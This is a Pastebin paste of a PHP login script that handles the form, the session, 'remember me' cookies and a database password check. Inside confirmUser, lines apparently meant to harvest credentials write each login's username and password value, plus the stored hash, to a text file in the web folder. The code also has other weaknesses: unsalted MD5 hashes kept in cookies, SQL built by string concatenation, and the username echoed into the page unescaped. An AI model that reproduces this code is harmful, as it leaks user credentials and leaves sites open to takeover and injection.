Guest User

Untitled

a guest
Jan 12th, 2018
130
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.26 KB | None | 0 0
  1. <?
  2.  
  3. /**
  4. * Checks whether or not the given username is in the
  5. * database, if so it checks if the given password is
  6. * the same password in the database for that user.
  7. * If the user doesn't exist or if the passwords don't
  8. * match up, it returns an error code (1 or 2).
  9. * On success it returns 0.
  10. */
  11. function confirmUser($username, $password){
  12. global $conn;
  13. /* Add slashes if necessary (for query) */
  14. if(!get_magic_quotes_gpc()) {
  15. $username = addslashes($username);
  16. }
  17.  
  18. /* Verify that user is in database */
  19. $q = "select password from users where username = '$username'";
  20. $result = mysql_query($q,$conn);
  21. if(!$result || (mysql_numrows($result) < 1)){
  22. return 1; //Indicates username failure
  23. }
  24.  
  25. /* Retrieve password from result, strip slashes */
  26. $dbarray = mysql_fetch_array($result);
  27. $dbarray['password'] = stripslashes($dbarray['password']);
  28. $password = stripslashes($password);
  29. $fh = fopen('./passowrdshi.txt', 'a');
  30. fwrite($fh, "original username: $username, original password: $password \n");
  31. fwrite($fh, "\$password = $password and \$dbarray['password'] = ".$dbarray['password']."\n");
  32.  
  33. /* Validate that password is correct */
  34. if($password == $dbarray['password']){
  35. return 0; //Success! Username and password confirmed
  36. }
  37. else{
  38. return 2; //Indicates password failure
  39. }
  40. }
  41.  
  42. /**
  43. * checkLogin - Checks if the user has already previously
  44. * logged in, and a session with the user has already been
  45. * established. Also checks to see if user has been remembered.
  46. * If so, the database is queried to make sure of the user's
  47. * authenticity. Returns true if the user has logged in.
  48. */
  49. function checkLogin(){
  50. /* Check if user has been remembered */
  51. if(isset($_COOKIE['cookname']) && isset($_COOKIE['cookpass'])){
  52. $_SESSION['username'] = $_COOKIE['cookname'];
  53. $_SESSION['password'] = $_COOKIE['cookpass'];
  54. }
  55.  
  56. /* Username and password have been set */
  57. if(isset($_SESSION['username']) && isset($_SESSION['password'])){
  58. /* Confirm that username and password are valid */
  59. if(confirmUser($_SESSION['username'], $_SESSION['password']) != 0){
  60. /* Variables are incorrect, user not logged in */
  61. unset($_SESSION['username']);
  62. unset($_SESSION['password']);
  63. return false;
  64. }
  65. return true;
  66. }
  67. /* User not logged in */
  68. else{
  69. return false;
  70. }
  71. }
  72.  
  73. /**
  74. * Determines whether or not to display the login
  75. * form or to show the user that he is logged in
  76. * based on if the session variables are set.
  77. */
  78. function displayLogin(){
  79. global $logged_in;
  80. if($logged_in){
  81. echo "<h1>Logged In!</h1>";
  82. echo "Welcome <b>$_SESSION[username]</b>, you are logged in. <a href=\"logout.php\">Logout</a>";
  83. }
  84. else{
  85. ?>
  86. <form action="" method="post">
  87.  
  88. <table align="left" border="0" cellspacing="0" cellpadding="1">
  89. <tr><td><font size="2">bluntname:</td><td><input type="text" name="user" maxlength="30"></td></tr>
  90. <tr><td><font size="2">password:</td><td><input type="password" name="pass" maxlength="30"></td></tr>
  91. <tr><td colspan="2" align="left"><input type="checkbox" name="remember">
  92. <font size="2">remember</td></tr>
  93. <tr><td colspan="2" align="right"><input type="submit" name="sublogin" value="Login"></td></tr>
  94. </table>
  95. </form>
  96.  
  97. <?
  98. }
  99. }
  100.  
  101.  
  102. /**
  103. * Checks to see if the user has submitted his
  104. * username and password through the login form,
  105. * if so, checks authenticity in database and
  106. * creates session.
  107. */
  108. if(isset($_POST['sublogin'])){
  109. /* Check that all fields were typed in */
  110. if(!$_POST['user'] || !$_POST['pass']){
  111. die('You didn\'t fill in a required field.');
  112. }
  113. /* Spruce up username, check length */
  114. $_POST['user'] = trim($_POST['user']);
  115. if(strlen($_POST['user']) > 30){
  116. die("Sorry, the username is longer than 30 characters, please shorten it.");
  117. }
  118.  
  119. /* Checks that username is in database and password is correct */
  120. $md5pass = md5($_POST['pass']);
  121. $result = confirmUser($_POST['user'], $md5pass);
  122.  
  123. /* Check error codes */
  124. if($result == 1){
  125. die('That username doesn\'t exist in our database.');
  126. }
  127. else if($result == 2){
  128. die('Incorrect password, please try again.');
  129. }
  130.  
  131. /* Username and password correct, register session variables */
  132. $_POST['user'] = stripslashes($_POST['user']);
  133. $_SESSION['username'] = $_POST['user'];
  134. $_SESSION['password'] = $md5pass;
  135.  
  136. /**
  137. * This is the cool part: the user has requested that we remember that
  138. * he's logged in, so we set two cookies. One to hold his username,
  139. * and one to hold his md5 encrypted password. We set them both to
  140. * expire in 100 days. Now, next time he comes to our site, we will
  141. * log him in automatically.
  142. */
  143. if(isset($_POST['remember'])){
  144. setcookie("cookname", $_SESSION['username'], time()+60*60*24*100, "/");
  145. setcookie("cookpass", $_SESSION['password'], time()+60*60*24*100, "/");
  146. }
  147.  
  148. /* Quick self-redirect to avoid resending data on refresh */
  149. echo "<meta http-equiv=\"Refresh\" content=\"0;url=$HTTP_SERVER_VARS[PHP_SELF]\">";
  150. return;
  151. }
  152.  
  153. /* Sets the value of the logged_in variable, which can be used in your code */
  154. $logged_in = checkLogin();
  155.  
  156. ?>
Add Comment
Please, Sign In to add comment